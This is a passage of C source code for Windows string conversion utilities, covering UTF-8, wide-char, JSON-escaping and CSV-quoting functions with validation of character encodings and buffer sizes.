{\n        if(pusz) { *pusz = (LPSTR)pbBuffer; }\n        if(pcbu) { *pcbu = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL CharUtil_UtoU(_In_opt_ LPCSTR uszIn, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags)\n{\n    // NB! function may look meaningless - but it provides some additional\n    //     checking of the validity of the string and adheres to the flags.\n    UCHAR c;\n    LPSTR usz;\n    DWORD n, cbu = 0;\n    BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE;\n    if(pcbu) { *pcbu = 0; }\n    if(pusz) { *pusz = NULL; }\n    if(!uszIn) { uszIn = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: utf-8 byte-length:\n    if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; }\n    while((cbu < cch) && (c = uszIn[cbu])) {\n        if(c & 0x80) {\n            // utf-8 char:\n            n = 0;\n            if((c & 0xe0) == 0xc0) { n = 2; }\n            if((c & 0xf0) == 0xe0) { n = 3; }\n            if((c & 0xf8) == 0xf0) { n = 4; }\n            if(!n) { goto fail; }                                              // invalid char-encoding\n            if(cbu + n > cch) { break; }\n            if(fTruncate && (cbu + n >= cbBuffer)) { break; }\n            if((n > 1) && ((uszIn[cbu + 1] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            if((n > 2) && ((uszIn[cbu + 2] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            if((n > 3) && ((uszIn[cbu + 3] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            cbu += n;\n        } else {\n            if(fTruncate && (cbu + 1 >= cbBuffer)) { break; }\n            cbu += 1;\n        }\n    }\n    cbu++;\n    if(pcbu) { *pcbu = cbu; }\n    // 2: return on length-request or alloc-fail\n    if(!pusz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space\n    usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu);\n    if(!usz) { goto fail; }                                                 // fail: failed buffer space allocation\n    // 3: populate with utf-8 string\n    if(usz != uszIn) {\n        memcpy(usz, uszIn, cbu);\n    }\n    usz[cbu - 1] = 0;\n    if(pusz) { *pusz = usz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pusz) { *pusz = (LPSTR)pbBuffer; }\n        if(pcbu) { *pcbu = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL CharUtil_WtoU(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags)\n{\n    USHORT c, cZERO = 0;\n    LPSTR usz;\n    PUSHORT pus;\n    DWORD i, j, cbw = 0, cbu = 0, chSur;\n    if(pcbu) { *pcbu = 0; }\n    if(pusz) { *pusz = NULL; }\n    pus = wsz ? (PUSHORT)wsz : &cZERO;\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: ansi byte-length and if ansi-only\n    if((flags & CHARUTIL_FLAG_TRUNCATE)) {\n        if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; }\n        while((cbw < cch) && (c = pus[cbw])) {\n            if(c > 0x7ff) {\n                if(c >= 0xD800 && c <= 0xDFFF) {\n                    // surrogate pair\n                    if(cbw + cbu + 1 + 2 + 1 >= cbBuffer) { break; }\n                    if(cbw + 1 >= cch) { break; }    // end of string\n                    if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) {\n                        // fail: invalid code point\n                        if((cbw >= 0x10) && (flags & CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL)) {\n                            break;\n                        }\n                        goto fail;\n                    }\n                    cbu += 2;\n                    cbw++;\n                } else {\n                    if(cbw + cbu + 1 + 2 >= cbBuffer) { break; }\n                    cbu += 2;\n                }\n            } else if(c > 0x7f) {\n                if(cbw + cbu + 1 + 1 >= cbBuffer) { break; }\n                cbu++;\n            } else {\n                if(cbw + cbu + 1 >= cbBuffer) { break; }\n            }\n            cbw++;\n        }\n    } else {\n        while((cbw < cch) && (c = pus[cbw])) {\n            if(c > 0x7ff) {\n                if(c >= 0xD800 && c <= 0xDFFF) {\n                    // surrogate pair\n                    if(cbw + 1 >= cch) { break; }    // end of string\n                    if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) {\n                        // fail: invalid code point\n                        if((cbw >= 0x10) && (flags & CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL)) {\n                            break;\n                        }\n                        goto fail;\n                    }\n                    cbu += 2;\n                    cbw++;\n                } else {\n                    cbu += 2;\n                }\n            } else if(c > 0x7f) {\n                cbu++;\n            }\n            cbw++;\n        }\n    }\n    cbw++;\n    cbu += cbw;\n    if(pcbu) { *pcbu = cbu; }\n    // 2: return on length-request or alloc-fail\n    if(!pusz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space\n    usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu);\n    if(!usz) { goto fail; }                                              // fail: failed buffer space allocation\n    // 3: populate with utf-8 string\n    i = cbw - 2; j = cbu - 2;\n    while(i < 0x7fffffff) {\n        c = pus[i--];\n        if(c > 0x7ff) {\n            if(c >= 0xD800 && c <= 0xDFFF) {\n                // surrogate pair (previously validated in step 1)\n                chSur = 0x10000 + (((pus[i--] - 0xD800) << 10) | ((c - 0xDC00) & 0x3ff));\n                usz[j--] = 0x80 | (chSur & 0x3f);\n                usz[j--] = 0x80 | ((chSur >> 6) & 0x3f);\n                usz[j--] = 0x80 | ((chSur >> 12) & 0x3f);\n                usz[j--] = 0xf0 | ((chSur >> 18) & 0x0f);\n            } else {\n                usz[j--] = 0x80 | (c & 0x3f);\n                usz[j--] = 0x80 | ((c >> 6) & 0x3f);\n                usz[j--] = 0xe0 | ((c >> 12) & 0x1f);\n            }\n        } else if(c > 0x7f) {\n            usz[j--] = 0x80 | (c & 0x3f);\n            usz[j--] = 0xc0 | ((c >> 6) & 0x3f);\n        } else {\n            usz[j--] = (CHAR)c;\n        }\n    }\n    usz[cbu - 1] = 0;\n    if(pusz) { *pusz = usz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pusz) { *pusz = (LPSTR)pbBuffer; }\n        if(pcbu) { *pcbu = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n/*\n* Convert UTF-8 string into a Windows Wide-Char string.\n* Function support usz == pbBuffer - usz will then become overwritten.\n* CALLER LOCALFREE (if *pusz != pbBuffer): *pusz\n* -- usz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pusz = if set to null: function calculate length only and return TRUE.\n            result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbu = byte length (including terminating null) of wide-char string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoW(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags)\n{\n    UCHAR c;\n    LPWSTR wsz;\n    DWORD i, j, n, cbu = 0, cbw = 0, ch;\n    BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE;\n    if(pcbw) { *pcbw = 0; }\n    if(pwsz) { *pwsz = NULL; }\n    if(!usz) { usz = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: utf-8 byte-length:\n    cbBuffer = cbBuffer & ~1;       // multiple of 2-byte sizeof(WCHAR)\n    if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; }\n    while((cbu < cch) && (c = usz[cbu])) {\n        if(c & 0x80) {\n            // utf-8 char:\n            n = 0;\n            if((c & 0xe0) == 0xc0) { n = 2; }\n            if((c & 0xf0) == 0xe0) { n = 3; }\n            if((c & 0xf8) == 0xf0) { n = 4; }\n            if(!n) { goto fail; }                                           // invalid char-encoding\n            if(cbu + n > cch) { break; }\n            if(fTruncate && (cbw + ((n == 4) ? 4 : 2) >= cbBuffer)) { break; }\n            if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; }   // invalid char-encoding\n            if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; }   // invalid char-encoding\n            if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; }   // invalid char-encoding\n            cbw += (n == 4) ? 4 : 2;\n            cbu += n;\n        } else {\n            if(fTruncate && (cbw + 2 >= cbBuffer)) { break; }\n            cbw += 2;\n            cbu += 1;\n        }\n    }\n    cbu += 1;\n    cbw += 2;\n    if(pcbw) { *pcbw = cbw; }\n    // 2: return on length-request or alloc-fail\n    if(!pwsz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbw))) { goto fail; } // fail: insufficient buffer space\n    wsz = (pbBuffer && (cbBuffer >= cbw)) ? pbBuffer : LocalAlloc(0, cbw);\n    if(!wsz) { goto fail; }                                                 // fail: failed buffer space allocation\n    // 3: Populate with wchar string. NB! algorithm works only on correctly\n    //    formed UTF-8 - which has been verified in the count-step.\n    i = cbu - 2; j = (cbw >> 1) - 1;\n    wsz[j--] = 0;\n    while(i < 0x7fffffff) {\n        if(((c = usz[i--]) & 0xc0) == 0x80) {\n            // 2-3-4 byte utf-8\n            ch = c & 0x3f;\n            if(((c = usz[i--]) & 0xc0) == 0x80) {\n                // 3-4 byte utf-8\n                ch += (c & 0x3f) << 6;\n                if(((c = usz[i--]) & 0xc0) == 0x80) {\n                    ch += (c & 0x3f) << 12;     // 4-byte utf-8\n                    c = usz[i--];\n                    ch += (c & 0x07) << 18;\n                } else {\n                    ch += (c & 0x0f) << 12;     // 3-byte utf-8\n                }\n            } else {\n                ch += (c & 0x1f) << 6;          // 2-byte utf-8\n            }\n            if(ch >= 0x10000) {\n                // surrogate pair:\n                ch -= 0x10000;\n                wsz[j--] = (ch & 0x3ff) + 0xdc00;\n                wsz[j--] = (USHORT)((ch >> 10) + 0xd800);\n            } else {\n                wsz[j--] = (USHORT)ch;\n            }\n        } else {\n            wsz[j--] = c;\n        }\n    }\n    if(pwsz) { *pwsz = wsz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && (cbBuffer > 1)) {\n        if(pwsz) { *pwsz = (LPWSTR)pbBuffer; }\n        if(pcbw) { *pcbw = 2; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL CharUtil_WtoW(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags)\n{\n    // NB!\n    // This function is assumed to be rarely used. Due to this it's implemented\n    // by calling CharUtil_WtoU and CharUtil_UtoW which is slightly ineffective.\n    LPSTR usz;\n    DWORD cbu;\n    BYTE pbBufferInternal[MAX_PATH * 2];\n    return\n        CharUtil_WtoU(wsz, cch, pbBufferInternal, sizeof(pbBufferInternal), &usz, &cbu, CHARUTIL_FLAG_TRUNCATE) &&\n        CharUtil_UtoW(usz, -1, pbBuffer, cbBuffer, pwsz, pcbw, flags);\n}\n\n\nVOID CharUtil_EscapeJSON2(_In_ CHAR ch, _Out_writes_(2) PCHAR chj)\n{\n    chj[0] = '\\\\';\n    switch(ch) {\n        case '\"': chj[1] = '\"'; break;\n        case '\\\\': chj[1] = '\\\\'; break;\n        case '\\b': chj[1] = 'b'; break;\n        case '\\f': chj[1] = 'f'; break;\n        case '\\n': chj[1] = 'n'; break;\n        case '\\r': chj[1] = 'r'; break;\n        case '\\t': chj[1] = 't'; break;\n    }\n}\n\nVOID CharUtil_EscapeJSON6(_In_ CHAR ch, _Out_writes_(6) PCHAR chj)\n{\n    CHAR chh;\n    chj[0] = '\\\\';\n    chj[1] = 'u';\n    chj[2] = '0';\n    chj[3] = '0';\n    chh = (ch >> 4) & 0xf;\n    chj[4] = (chh < 10) ? '0' + chh : 'a' - 10 + chh;\n    chh = ch & 0xf;\n    chj[5] = (chh < 10) ? '0' + chh : 'a' - 10 + chh;\n}\n\n/*\n* Convert UTF-8, Ascii (0-255) or Wide (16-bit LE) string into a JSON string.\n* Function support sz/usz/wsz == pbBuffer - sz/usz/wsz will then become overwritten.\n* CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz\n* -- sz/usz/wsz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pjsz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbj = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoJ(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags)\n{\n    UCHAR c;\n    LPSTR jsz;\n    DWORD i, j, n, cba = 0, cbj = 0;\n    if(pcbj) { *pcbj = 0; }\n    if(pjsz) { *pjsz = NULL; }\n    if(!usz) { usz = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: ansi byte-length and if ansi-only\n    if((flags & CHARUTIL_FLAG_TRUNCATE)) {\n        if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; }\n        while((cba < cch) && (c = usz[cba])) {\n            if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n                if(cba + cbj + 1 + n >= cbBuffer) { break; }\n                cbj += n;\n            }\n            cba++;\n        }\n    } else {\n        while((cba < cch) && (c = usz[cba])) {\n            if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                cbj += (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            }\n            cba++;\n        }\n    }\n    cba++;\n    cbj += cba;\n    if(pcbj) { *pcbj = cbj; }\n    // 2: return on length-request or alloc-fail\n    if(!pjsz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!cbj) { goto fail; }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space\n    jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj);\n    if(!jsz) { goto fail; }                                              // fail: failed buffer space allocation\n    // 3: populate with utf-8 string (backwards to support sz == pbBuffer case)\n    i = cba - 2; j = cbj - 2;\n    while(i < 0x7fffffff) {\n        c = usz[i--];\n        if(c < 0x20 || c == '\"' || c == '\\\\') {\n            // JSON encode\n            n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            if(n == 1) { CharUtil_EscapeJSON2(c, jsz + j - 1); }\n            if(n == 5) { CharUtil_EscapeJSON6(c, jsz + j - 5); }\n            j -= 1 + n;\n        } else {\n            jsz[j--] = c;\n        }\n    }\n    jsz[cbj - 1] = 0;\n    if(pjsz) { *pjsz = jsz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pjsz) { *pjsz = (LPSTR)pbBuffer; }\n        if(pcbj) { *pcbj = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL CharUtil_AtoJ(_In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags)\n{\n    UCHAR c;\n    LPSTR jsz;\n    DWORD i, j, n, cba = 0, cbj = 0;\n    if(pcbj) { *pcbj = 0; }\n    if(pjsz) { *pjsz = NULL; }\n    if(!sz) { sz = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: ansi byte-length and if ansi-only\n    if((flags & CHARUTIL_FLAG_TRUNCATE)) {\n        if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; }\n        while((cba < cch) && (c = sz[cba])) {\n            if(c > 0x7f) {\n                if(cba + cbj + 1 + 1 >= cbBuffer) { break; }\n                cbj++;\n            } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n                if(cba + cbj + 1 + n >= cbBuffer) { break; }\n                cbj += n;\n            } else {\n                if(cba + cbj + 1 >= cbBuffer) { break; }\n            }\n            cba++;\n        }\n    } else {\n        while((cba < cch) && (c = sz[cba])) {\n            if(c > 0x7f) {\n                cbj++;\n            } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                cbj += (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            }\n            cba++;\n        }\n    }\n    cba++;\n    cbj += cba;\n    if(pcbj) { *pcbj = cbj; }\n    // 2: return on length-request or alloc-fail\n    if(!pjsz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!cbj) { goto fail; }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space\n    jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj);\n    if(!jsz) { goto fail; }                                              // fail: failed buffer space allocation\n    // 3: populate with utf-8 string (backwards to support sz == pbBuffer case)\n    i = cba - 2; j = cbj - 2;\n    while(i < 0x7fffffff) {\n        c = sz[i--];\n        if(c > 0x7f) {\n            jsz[j--] = 0x80 | (c & 0x3f);\n            jsz[j--] = 0xc0 | ((c >> 6) & 0x1f);\n        } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n            // JSON encode\n            n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            if(n == 1) { CharUtil_EscapeJSON2(c, jsz + j - 1); }\n            if(n == 5) { CharUtil_EscapeJSON6(c, jsz + j - 5); }\n            j -= 1 + n;\n        } else {\n            jsz[j--] = c;\n        }\n    }\n    jsz[cbj - 1] = 0;\n    if(pjsz) { *pjsz = jsz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pjsz) { *pjsz = (LPSTR)pbBuffer; }\n        if(pcbj) { *pcbj = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL CharUtil_WtoJ(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags)\n{\n    USHORT c, cZERO = 0;\n    LPSTR jsz;\n    PUSHORT pus;\n    DWORD i, j, n, cbw = 0, cbj = 0, chSur;\n    if(pcbj) { *pcbj = 0; }\n    if(pjsz) { *pjsz = NULL; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    pus = wsz ? (PUSHORT)wsz : &cZERO;\n    // 1: ansi byte-length and if ansi-only\n    if((flags & CHARUTIL_FLAG_TRUNCATE)) {\n        if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; }\n        while((cbw < cch) && (c = pus[cbw])) {\n            if(c > 0x7ff) {\n                if(c >= 0xD800 && c <= 0xDFFF) {\n                    // surrogate pair\n                    if(cbw + cbj + 1 + 2 + 1 >= cbBuffer) { break; }\n                    if(cbw + 1 >= cch) { break; }    // end of string\n                    if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { goto fail; }    // fail: invalid code point\n                    cbj += 2;\n                    cbw++;\n                } else {\n                    if(cbw + cbj + 1 + 2 >= cbBuffer) { break; }\n                    cbj += 2;\n                }\n            } else if(c > 0x7f) {\n                if(cbw + cbj + 1 + 1 >= cbBuffer) { break; }\n                cbj++;\n            } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n                if(cbw + cbj + 1 + n >= cbBuffer) { break; }\n                cbj += n;\n            } else {\n                if(cbw + cbj + 1 >= cbBuffer) { break; }\n            }\n            cbw++;\n        }\n    } else {\n        while((cbw < cch) && (c = pus[cbw])) {\n            if(c > 0x7ff) {\n                if(c >= 0xD800 && c <= 0xDFFF) {\n                    // surrogate pair\n                    if(cbw + 1 >= cch) { break; }    // end of string\n                    if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { goto fail; }   // fail: invalid code point\n                    cbj += 2;\n                    cbw++;\n                } else {\n                    cbj += 2;\n                }\n            } else if(c > 0x7f) {\n                cbj++;\n            } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n                // JSON encode\n                cbj += (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            }\n            cbw++;\n        }\n    }\n    cbw++;\n    cbj += cbw;\n    if(pcbj) { *pcbj = cbj; }\n    // 2: return on length-request or alloc-fail\n    if(!pjsz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }\n    if(!cbj) { goto fail; }\n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space\n    jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj);\n    if(!jsz) { goto fail; }                                                 // fail: failed buffer space allocation\n    // 3: populate with utf-8 string (backwards to support sz == pbBuffer case)\n    i = cbw - 2; j = cbj - 2;\n    while(i < 0x7fffffff) {\n        c = pus[i--];\n        if(c > 0x7ff) {\n            if(c >= 0xD800 && c <= 0xDFFF) {\n                // surrogate pair (previously validated in step 1)\n                chSur = 0x10000 + (((pus[i--] - 0xD800) << 10) | ((c - 0xDC00) & 0x3ff));\n                jsz[j--] = 0x80 | (chSur & 0x3f);\n                jsz[j--] = 0x80 | ((chSur >> 6) & 0x3f);\n                jsz[j--] = 0x80 | ((chSur >> 12) & 0x3f);\n                jsz[j--] = 0xf0 | ((chSur >> 18) & 0x0f);\n            } else {\n                jsz[j--] = 0x80 | (c & 0x3f);\n                jsz[j--] = 0x80 | ((c >> 6) & 0x3f);\n                jsz[j--] = 0xe0 | ((c >> 12) & 0x1f);\n            }\n        } else if(c > 0x7f) {\n            jsz[j--] = 0x80 | (c & 0x3f);\n            jsz[j--] = 0xc0 | ((c >> 6) & 0x3f);\n        } else if(c < 0x20 || c == '\"' || c == '\\\\') {\n            // JSON encode\n            n = (c == '\"' || c == '\\\\' || c == '\\b' || c == '\\f' || c == '\\n' || c == '\\r' || c == '\\t') ? 1 : 5;\n            if(n == 1) { CharUtil_EscapeJSON2((CHAR)c, jsz + j - 1); } \n            if(n == 5) { CharUtil_EscapeJSON6((CHAR)c, jsz + j - 5); }\n            j -= 1 + n;\n        } else {\n            jsz[j--] = (CHAR)c;\n        }\n    }\n    jsz[cbj - 1] = 0;\n    if(pjsz) { *pjsz = jsz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {\n        if(pjsz) { *pjsz = (LPSTR)pbBuffer; }\n        if(pcbj) { *pcbj = 1; }\n        pbBuffer[0] = 0;\n    }\n    return FALSE;\n}\n\n/*\n* Convert UTF-8 string into a CSV compatible string.\n* If source string contain either comma(,) space( ) doublequote(\") it will be\n* treated as a CSV string and be put into double quotes at start/end.\n* Function support usz == pbBuffer - usz will then become overwritten.\n* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz\n* -- usz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pvsz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbv = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_UtoCSV(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pvsz, _Out_opt_ PDWORD pcbv, _In_ DWORD flags)\n{\n    UCHAR c;\n    LPSTR vsz;\n    DWORD iu, iv, n, cbu = 0, cbv = 0;\n    BOOL fCSV = FALSE;\n    BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE;\n    if(pcbv) { *pcbv = 0; }\n    if(pvsz) { *pvsz = NULL; }\n    if(!usz) { usz = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: csv byte-length:\n    if(usz[0] == '\\0') {\n        fCSV = TRUE;\n        cbv += 2;\n    }\n    if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; }\n    while((cbu < cch) && (c = usz[cbu])) {\n        if(c & 0x80) {\n            // utf-8 char:\n            n = 0;\n            if((c & 0xe0) == 0xc0) { n = 2; }\n            if((c & 0xf0) == 0xe0) { n = 3; }\n            if((c & 0xf8) == 0xf0) { n = 4; }\n            if(!n) { goto fail; }                                            // invalid char-encoding\n            if(cbu + n > cch) { break; }\n            if(fTruncate && (cbv + n >= cbBuffer)) { break; }\n            if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; }    // invalid char-encoding\n            cbu += n;\n            cbv += n;\n        } else if(c == '\"' || c == ' ' || c == ',') {\n            n = (c == '\"') ? 2 : 1;\n            if(!fCSV) { n += 2; }\n            if(fTruncate && (cbv + n >= cbBuffer)) { break; }\n            fCSV = TRUE;\n            cbu += 1;\n            cbv += n;\n        } else {\n            if(fTruncate && (cbv + 1 >= cbBuffer)) { break; }\n            cbu += 1;\n            cbv += 1;\n        }\n    